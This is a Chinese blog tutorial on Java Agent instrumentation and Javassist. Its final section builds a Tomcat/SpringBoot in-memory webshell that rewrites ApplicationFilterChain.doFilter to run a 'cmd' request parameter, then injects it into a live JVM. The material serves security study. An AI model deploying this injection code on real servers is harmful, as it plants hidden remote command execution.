为什么Agent内存马我单独开了一篇文章呢?因为我认为Agent内存马可能是最好玩的一个内存马了,他可以注入正在运行的进程当中,这杀伤力就很大,并且也是打算将这篇文章作为内存马的收尾之作,到这里内存马基础知识就应该是研究完毕了ORZ,谢谢各位师傅的文章,给我参考学习
什么是Java Agent? 我们知道Java是一种强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。Java Agent就是一种能在不影响正常编译的前提下,修改Java字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。 实际上,平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的。那么Java Agent技术具体是怎样实现的呢? 对于Agent(代理)来讲,其大致可以分为两种,一种是在JVM启动前加载的premain-Agent,另一种是JVM启动之后加载的agentmain-Agent。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图 premain-agent agentmain-agent
Premain-agent 我们用一个例子来演示agentmain-agent和premain-agent两种方法是如何作用的: 首先准备一个premain-agnet:
1 2 3 4 5 6 7 8 9 10 11 package com.example.echoshell.agents;import java.lang.instrument.Instrumentation;public class Java_Agent_premain { public static void premain (String args, Instrumentation inst) { for (int i = 0 ; i<10 ; i++){ System.out.println("调用了premain-Agent!" ); } } }
之后再准备一个目标进程:
1 2 3 4 5 public class Hello { public static void main (String[] args) { System.out.println("Hello World!" ); } }
随后将premain-agent类打为jar包,这里打jar包还有点讲究呢,有2中方法,分别可以参考:
我选择的是后者,首先在resource目录下创建META-INF
目录,再在里面创建MANIFEST.MF
文件,内容为(最后必须有个换行):
1 2 3 Manifest-Version : 1.0 Premain-Class : com.boogipop.agent.Java_Agent_premain
之后修改pom文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <build > <plugins > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-assembly-plugin</artifactId > <version > 2.6</version > <configuration > <descriptorRefs > <descriptorRef > jar-with-dependencies</descriptorRef > </descriptorRefs > <archive > <manifestFile > src/main/resources/META-INF/MANIFEST.MF </manifestFile > </archive > </configuration > </plugin > </plugins > </build >
将这一段添加进去,之后运行maven的assembly:assembly
命令打包(该命令是自定义打包,会识别MF文件,package则不会): 获取2个jar包,我们需要的是第二个,随后我们设置VM-OPTIONS (最大的坑),这个vm-options在新版UI里默认是隐藏了起来的,所以你要把他打开,否则你很容易把它和变量列表搞混: 加上-javaagent:E:\CTFLearning\Java\agentdemo\target\agentdemo-1.0-SNAPSHOT-jar-with-dependencies.jar
之后运行我们的主类Hello即可发现: 这是不是和spring的aop有点像呢哈哈哈
Agentmain-agent premain-agent只能在类加载前去插入,而agentmain可以在已经运行的jvm去插入方法
VirtualMachine类 com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。 该类允许我们通过给attach方法传入一个JVM的PID,来远程连接到该JVM上 ,之后我们就可以对连接的JVM进行各种操作,如注入Agent。下面是该类的主要方法
1 2 3 4 5 6 7 8 9 10 11 VirtualMachine.attach() VirtualMachine.loadAgent() VirtualMachine.list() VirtualMachine.detach()
VirtualMachineDescriptor类 com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor; import java.util.List; public class get_PID { public static void main (String[] args) { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ if (vmd.displayName().equals("get_PID" )) System.out.println(vmd.id()); } } }
下面我们就来实现一个agentmain-Agent。首先我们编写一个Sleep_Hello类,模拟正在运行的JVM
1 2 3 4 5 6 7 8 9 10 import static java.lang.Thread.sleep; public class Sleep_Hello { public static void main (String[] args) throws InterruptedException { while (true ){ System.out.println("Hello World!" ); sleep(5000 ); } } }
编写agentmain-agent,并且和之前一样,将其打为jar包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package com.boogipop.agent;import java.lang.instrument.Instrumentation;import static java.lang.Thread.sleep;public class Agent_Main { public static void agentmain (String args, Instrumentation inst) throws InterruptedException { while (true ){ System.out.println("调用了agentmain-Agent!" ); sleep(3000 ); } } }
MF文件内容为:
1 2 3 Manifest-Version : 1.0 Agent-Class : com.boogipop.agent.Agent_Main
最后准备一个Inject类,将我们的agent-main注入目标JVM:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package com.boogipop.agent;import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class Inject_Agent { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ if (vmd.displayName().equals("com.boogipop.agent.Sleep_Hello" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("E:\\CTFLearning\\Java\\agentdemo\\target\\agentdemo-1.0-SNAPSHOT-jar-with-dependencies.jar" ); virtualMachine.detach(); } } } }
先运行目标JVM,再运行inject类进行注入,最后结果如下,一开始是只输出hello,world的,运行inject之后就插入了agent-main方法:
Agentmain-Instrumentation Instrumentation是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。 其在Java中是一个接口,常用方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public interface Instrumentation { void addTransformer (ClassFileTransformer transformer, boolean canRetransform) ; void addTransformer (ClassFileTransformer transformer) ; boolean removeTransformer (ClassFileTransformer transformer) ; void retransformClasses (Class<?>... classes) throws UnmodifiableClassException; boolean isModifiableClass (Class<?> theClass) ; @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); long getObjectSize (Object objectToSize) ; }
获取目标JVM已加载类 下面我们简单实现一个能够获取目标JVM已加载类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package com.boogipop.agent;import java.lang.instrument.Instrumentation;public class Agentmain_Instrument { public static void agentmain (String args, Instrumentation inst) throws InterruptedException { Class [] classes = inst.getAllLoadedClasses(); for (Class cls : classes){ System.out.println("------------------------------------------" ); System.out.println("加载类: " +cls.getName()); System.out.println("是否可被修改: " +inst.isModifiableClass(cls)); } } }
步骤还是和上面Agentmain-agent一样,首先把这个打成jar包,并且记得改一下MF文件中agent-mainclass:
1 2 3 Manifest-Version: 1.0 Agent-Class: com.boogipop.agent.Agentmain_Instrument
运行结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 Hello World! Hello World! ------------------------------------------ 加载类: java.util.ResourceBundle$ResourceBundleProviderHelper$$Lambda$17/0x0000000800065c40 是否可被修改: false ------------------------------------------ 加载类: sun.util.locale.provider.JRELocaleProviderAdapter$$Lambda$16/0x0000000800065840 是否可被修改: false ------------------------------------------ 加载类: sun.util.locale.provider.JRELocaleProviderAdapter$$Lambda$15/0x0000000800066440 是否可被修改: false ------------------------------------------ 加载类: sun.util.cldr.CLDRLocaleProviderAdapter$$Lambda$14/0x0000000800066040 是否可被修改: false ------------------------------------------ 加载类: sun.util.resources.provider.NonBaseLocaleDataMetaInfo 是否可被修改: true ------------------------------------------ 加载类: sun.util.resources.cldr.provider.CLDRLocaleDataMetaInfo 是否可被修改: true ------------------------------------------ 加载类: com.boogipop.agent.Agentmain_Instrument 是否可被修改: true ------------------------------------------ 加载类: com.boogipop.agent.Sleep_Hello 是否可被修改: true ------------------------------------------ 加载类: com.intellij.rt.execution.application.AppMainV2$1 是否可被修改: true ------------------------------------------ 加载类: com.intellij.rt.execution.application.AppMainV2 是否可被修改: true ------------------------------------------ 加载类: com.intellij.rt.execution.application.AppMainV2$Agent 是否可被修改: true ------------------------------------------ 加载类: java.util.stream.FindOps$FindSink$OfRef$$Lambda$13/0x0000000800063440 是否可被修改: false ------------------------------------------ 加载类: java.util.stream.FindOps$FindSink$OfRef$$Lambda$12/0x0000000800063040 是否可被修改: false ------------------------------------------ 加载类: java.util.stream.FindOps$FindSink$OfRef$$Lambda$11/0x0000000800062c40 是否可被修改: false ------------------------------------------ 加载类: java.util.stream.FindOps$FindSink$OfRef$$Lambda$10/0x0000000800062840 是否可被修改: false ------------------------------------------ 加载类: jdk.internal.module.DefaultRoots$$Lambda$9/0x0000000800062440 是否可被修改: false ------------------------------------------ 加载类: java.util.stream.Collectors$$Lambda$8/0x0000000800062040 是否可被修改: false ..................................
这方法上面也说过了:增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。 在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据,Transformer 可以对未加载的类进行拦截,同时也可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码。ClassFileTransformer是一个接口,该接口里只有一个方法,返回一个bytes数组: 也就是说我们注入的对象需要实现这个接口
使用Instrumentation.addTransformer()来加载一个转换器。
转换器的返回结果(transform()方法的返回值)将成为转换后的字节码。
对于没有加载的类,会使用ClassLoader.defineClass()定义它;对于已经加载的类,会使用
ClassLoader.redefineClasses()重新定义,并配合Instrumentation.retransformClasses进行转换。
其实简而言之,这个方法就是让我们可以动态的修改已经加载和没加载的类,达到动态修改字节码的目的 当存在多个转换器时,转换将由 transform 调用链组成。 也就是说,一个 transform 调用返回的 byte 数组将成为下一个调用的输入(通过 classfileBuffer 参数)。
转换将按以下顺序应用:
不可重转换转换器
不可重转换本机转换器
可重转换转换器
可重转换本机转换器
短小精悍的Javassits同学 使用Javassits创建类 都知道java中class文件是以字节码形式存在的,而javassists工具可以帮我们创建字节码,修改字节码(修改类的方法,属性……),并且从字节码中实例化出对象,是一款十分便利的工具,接下来就详细的来讲讲javassists的用法 首先导入一下依赖:
1 2 3 4 5 <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.25.0-GA</version > </dependency >
我们直接分析一个用javassists创建class文件的Demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 package com.boogipop.javassit;import javassist.*;public class javassistsDemo { public static void createPseson () throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("com.boogipop.javassit.Person" ); CtField param = new CtField (pool.get("java.lang.String" ), "name" , cc); param.setModifiers(Modifier.PRIVATE); cc.addField(param, CtField.Initializer.constant("xiaoming" )); cc.addMethod(CtNewMethod.setter("setName" , param)); cc.addMethod(CtNewMethod.getter("getName" , param)); CtConstructor cons = new CtConstructor (new CtClass []{}, cc); cons.setBody("{name = \"xiaohong\";}" ); cc.addConstructor(cons); cons = new CtConstructor (new CtClass []{pool.get("java.lang.String" )}, cc); cons.setBody("{$0.name = $1;}" ); cc.addConstructor(cons); CtMethod ctMethod = new CtMethod (CtClass.voidType, "printName" , new CtClass []{}, cc); ctMethod.setModifiers(Modifier.PUBLIC); ctMethod.setBody("{System.out.println(name);}" ); cc.addMethod(ctMethod); cc.writeFile("E:\\CTFLearning\\Java\\agentdemo\\" ); } public static void main (String[] args) { try { createPseson(); } catch (Exception e) { e.printStackTrace(); } } }
运行上述程序后,会在指定目录创建出Person.class文件:
步骤分析 首先ClassPool
对象是Ctclass
的容器,在使用时,首先创建容器pool,再在pool中创建Ctclass
,对其进行自定义修改操作,结束后将其保存在容器中,方便我们之后取出,CtClass
对应的实际上就是class文件 需要注意的是 ClassPool 会在内存中维护所有被它创建过的 CtClass,当 CtClass 数量过多时,会占用大量的内存,API中给出的解决方案是 有意识的调用CtClass的detach()方法以释放内存。
ClassPool
需要关注的方法:
getDefault : 返回默认的ClassPool 是单例模式的,一般通过该方法创建我们的ClassPool;
appendClassPath, insertClassPath : 将一个ClassPath加到类搜索路径的末尾位置 或 插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的尴尬;
toClass : 将修改后的CtClass加载至当前线程的上下文类加载器中,CtClass的toClass方法是通过调用本方法实现。需要注意的是一旦调用该方法,则无法继续修改已经被加载的class;
get , getCtClass : 根据类路径名获取该类的CtClass对象,用于后续的编辑。
CtClass
需要关注的方法:
freeze : 冻结一个类,使其不可修改;
isFrozen : 判断一个类是否已被冻结;
prune : 删除类不必要的属性,以减少内存占用。调用该方法后,许多方法无法将无法正常使用,慎用;
defrost : 解冻一个类,使其可以被修改。如果事先知道一个类会被defrost, 则禁止调用 prune 方法;
detach : 将该class从ClassPool中删除;
writeFile : 根据CtClass生成 .class 文件;
toClass : 通过类加载器加载该CtClass。
上面我们创建一个新的方法使用了CtMethod类。CtMthod代表类中的某个方法,可以通过CtClass提供的API获取或者CtNewMethod新建,通过CtMethod对象可以实现对方法的修改。CtMethod
中的一些重要方法:
insertBefore : 在方法的起始位置插入代码;
insterAfter : 在方法的所有 return 语句前插入代码以确保语句能够被执行,除非遇到exception;
insertAt : 在指定的位置插入代码;
setBody : 将方法的内容设置为要写入的代码,当方法被 abstract修饰时,该修饰符被移除;
make : 创建一个新的方法。
注意到在上面代码中的:setBody()的时候我们使用了一些符号: 这里面的$0,$1,$2表示的是方法的形参,按照索引进行排序
调用生成的class文件 一、通过反射方式调用 将上述的代码修改为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 package com.boogipop.javassit;import javassist.*;import java.lang.reflect.Field;import java.lang.reflect.Method;public class javassistsDemo { public static void createPseson () throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("com.boogipop.javassit.Person" ); CtField param = new CtField (pool.get("java.lang.String" ), "name" , cc); param.setModifiers(Modifier.PRIVATE); cc.addField(param, CtField.Initializer.constant("xiaoming" )); cc.addMethod(CtNewMethod.setter("setName" , param)); cc.addMethod(CtNewMethod.getter("getName" , param)); CtConstructor cons = new CtConstructor (new CtClass []{}, cc); cons.setBody("{name = \"xiaohong\";}" ); cc.addConstructor(cons); cons = new CtConstructor (new CtClass []{pool.get("java.lang.String" )}, cc); cons.setBody("{$0.name = $1;}" ); cc.addConstructor(cons); CtMethod ctMethod = new CtMethod (CtClass.voidType, "printName" , new CtClass []{}, cc); ctMethod.setModifiers(Modifier.PUBLIC); ctMethod.setBody("{System.out.println(name);}" ); cc.addMethod(ctMethod); Object person = cc.toClass().newInstance(); Method setName = person.getClass().getDeclaredMethod("setName" , String.class); setName.invoke(person,"Boogipop" ); Method printName = person.getClass().getDeclaredMethod("printName" ); printName.invoke(person); } public static void main (String[] args) { try { createPseson(); } catch (Exception e) { e.printStackTrace(); } } }
直接toClass加载它,然后newinstance获取实例化对象,最后反射调用方法: 成功的输出了名字,说明调用成功
二、通过.class文件调用 将代码修改为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package com.boogipop.javassit;import javassist.*;import java.lang.reflect.Field;import java.lang.reflect.Method;public class javassistsDemo { public static void createPseson () throws Exception { ClassPool pool = ClassPool.getDefault(); pool.appendClassPath("E:\\CTFLearning\\Java\\agentdemo\\" ); CtClass ctClass = pool.get("com.boogipop.javassit.Person" ); Object person = ctClass.toClass().newInstance(); Method setName = person.getClass().getDeclaredMethod("setName" , String.class); setName.invoke(person,"Boogipop" ); Method printName = person.getClass().getDeclaredMethod("printName" ); printName.invoke(person); } public static void main (String[] args) { try { createPseson(); } catch (Exception e) { e.printStackTrace(); } } }
依旧可以成功调用,这种方法先设置了类的加载路径,再实例化这个类,剩下的操作也是反射调用方法
三、通过接口的方式 可以根据Person类的方法创建一个接口,然后实例化的时候向上转型,之后就可以直接调用方法了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package com.boogipop.javassit;import javassist.*;import java.lang.reflect.Field;import java.lang.reflect.Method;public class javassistsDemo { public static void createPseson () throws Exception { ClassPool pool = ClassPool.getDefault(); pool.appendClassPath("E:\\CTFLearning\\Java\\agentdemo\\" ); CtClass ctClass = pool.get("com.boogipop.javassit.Person" ); CtClass ctClassI = pool.get("com.boogipop.javassit.PersonI" ); ctClass.setInterfaces(new CtClass []{ctClassI}); PersonI person = (PersonI) ctClass.toClass().newInstance(); person.setName("阿良良木历" ); person.printName(); } public static void main (String[] args) { try { createPseson(); } catch (Exception e) { e.printStackTrace(); } } }
分别用pool.get去获取两个类的class,再设置Person的接口为PersonI,最后向上转型,调用子类重写的方法:
修改已加载类的字节码 经过了上面那么多的铺垫,终于来到了本章的重点,没错,就是修改字节码(废话那么多) 修改已经加载的字节码主要是通过addTransformer
和 retransformClasses
这两个方法,一个是添加一个转换器,另外的是重新加载该类,也就是更新 我们准备一个目标JVM,依然是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package com.boogipop.agent;import static java.lang.Thread.sleep;public class Sleep_Hello { public static void hello () { System.out.println("hello world" ); } public static void main (String[] args) throws InterruptedException { while (true ){ hello(); sleep(5000 ); } } }
再准备我们的AgentMain,写好后记得把他打成Jar包,这里有个深坑,就是可能会出现报错com.sun.tools.attach.AgentInitializationException: Agent JAR loaded but agent failed to initialize
: 这个是MF文件中没有开启重新加载类造成的:
1 2 3 4 5 Manifest-Version: 1.0 Agent-Class: com.boogipop.agent.agentmain_transform Can-Redefine-Classes: true Can-Retransform-Classes: true
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.boogipop.agent;import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;public class agentmain_transform { public static void agentmain (String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException { Class [] classes = inst.getAllLoadedClasses(); for (Class cls : classes){ if (cls.getName().equals("com.boogipop.agent.Sleep_Hello" )){ inst.addTransformer(new Hello_Transform (),true ); inst.retransformClasses(cls); } } } }
再创建transform类,也就是创建一个转换器,在这里是我们的主要逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package com.boogipop.agent;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;public class Hello_Transform implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { ClassPool classPool = ClassPool.getDefault(); if (classBeingRedefined != null ) { ClassClassPath ccp = new ClassClassPath (classBeingRedefined); classPool.insertClassPath(ccp); } CtClass ctClass = classPool.get("com.boogipop.agent.Sleep_Hello" ); System.out.println(ctClass); CtMethod ctMethod = ctClass.getDeclaredMethod("hello" ); String body = "{System.out.println(\"Hacker!\");}" ; ctMethod.setBody(body); byte [] bytes = ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null ; } }
这里需要实现ClassFileTransformer
接口,这个在上面也说了 最后准备我们的Inject类进行注入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.boogipop.agent;import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class Inject_Agent { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ System.out.println(vmd.displayName()); if (vmd.displayName().equals("com.boogipop.agent.Sleep_Hello" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("E:\\CTFLearning\\Java\\agentdemo\\target\\agentdemo-1.0-SNAPSHOT-jar-with-dependencies.jar" ); virtualMachine.detach(); } } } }
然后就大功告成了:
Instrumentation的局限性 大多数情况下,我们使用Instrumentation都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性: premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。 类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses方法,此方法有以下限制:
新类和老类的父类必须相同
新类和老类实现的接口数也要相同,并且是相同的接口
新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
新类和老类新增或删除的方法必须是private static/final修饰的
可以修改方法体
Agent内存马同学~ 飒飒,做了那么多的铺垫,终于要分析如何取创造我们的Agent内存马,可以看得出来这是一位很调皮的同学,灵活程度拉满了,那么我们先分析一下SpringBoot启动时的调用栈(这个我已经调试了N遍了,在tomcat回显技术也好,spring内存马也好),都是从启动顺序开始分析的,通过这些东西也是对SpringBoot有比较深刻的印象
SpringBoot中的InternalDofilter链 我们起一个SpringBoot程序,然后随便在一个controller下一个断点,观察一下启动时的一条责任链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 test:12, Normal (com.example.echoshell.controller) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) doInvoke:205, InvocableHandlerMethod (org.springframework.web.method.support) invokeForRequest:150, InvocableHandlerMethod (org.springframework.web.method.support) invokeAndHandle:117, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation) invokeHandlerMethod:895, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method) doDispatch:1067, DispatcherServlet (org.springframework.web.servlet) doService:963, DispatcherServlet (org.springframework.web.servlet) processRequest:1006, FrameworkServlet (org.springframework.web.servlet) doGet:898, FrameworkServlet (org.springframework.web.servlet) service:655, HttpServlet (javax.servlet.http) service:883, FrameworkServlet (org.springframework.web.servlet) service:764, HttpServlet (javax.servlet.http) internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) doFilter:53, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:100, RequestContextFilter (org.springframework.web.filter) doFilter:119, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:93, FormContentFilter (org.springframework.web.filter) doFilter:119, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter) doFilter:119, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) invoke:197, StandardWrapperValve (org.apache.catalina.core) invoke:97, StandardContextValve (org.apache.catalina.core) invoke:540, AuthenticatorBase (org.apache.catalina.authenticator) invoke:135, StandardHostValve (org.apache.catalina.core) invoke:92, ErrorReportValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:357, CoyoteAdapter (org.apache.catalina.connector) service:382, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745, Thread (java.lang)
在调用栈中根据责任链机制,存在一个反复调用InternalDoFilter的链internalDoFilter->doFilter->service
,可以看到SpringBoot在处理请求时会不断调用internalDoFilter
这个方法,那么结合上面所学知识,我们只要动态修改internalDoFilter
或者是DoFilter
,是不是就可以注入Agent的内存马了? 而且这两个方法中都有request和response,拿来回显在适合不过:
利用Agent实现SpringBoot Filter内存马 我们将上面的TransFormer转换器拿下来修改一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package com.boogipop.echoshell.agents;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;public class Filter_Transform implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { ClassPool classPool = ClassPool.getDefault(); if (classBeingRedefined != null ) { ClassClassPath ccp = new ClassClassPath (classBeingRedefined); classPool.insertClassPath(ccp); } CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain" ); System.out.println(ctClass); CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter" ); String body = "{" + "javax.servlet.http.HttpServletRequest request = $1\n;" + "String cmd=request.getParameter(\"cmd\");\n" + "if (cmd !=null){\n" + " Runtime.getRuntime().exec(cmd);\n" + " }" + "}" ; ctMethod.setBody(body); byte [] bytes = ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null ; } }
再准备Agentmain,MF配置和代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.boogipop.echoshell.agents;import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;public class agentmain_transform { public static void agentmain (String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException { Class [] classes = inst.getAllLoadedClasses(); for (Class cls : classes){ if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain" )){ inst.addTransformer(new Filter_Transform (),true ); inst.retransformClasses(cls); } } } }
1 2 3 4 5 Manifest-Version: 1.0 Agent-Class: com.boogipop.echoshell.agents.agentmain_transform Can-Redefine-Classes: true Can-Retransform-Classes: true
最后准备Inject类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.boogipop.echoshell;import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class Inject_Agent { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ System.out.println(vmd.displayName()); if (vmd.displayName().equals("com.boogipop.echoshell.EchoshellApplication" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("E:\\CTFLearning\\Java\\echoshell\\target\\echoshell-0.0.1-SNAPSHOT-jar-with-dependencies.jar" ); virtualMachine.detach(); } } } }
连续注入2次即可触发
Agent内存马结合反序列化优雅注入 可以看这篇文章http://wjlshare.com/archives/1582 大木头师傅写的一篇文章,其实八九不离十,思路和上面说的一模一样
愤怒的尾巴 本来最后一P就这么完结了的,没想到agent内存马踩了这么多坑,气死了气死了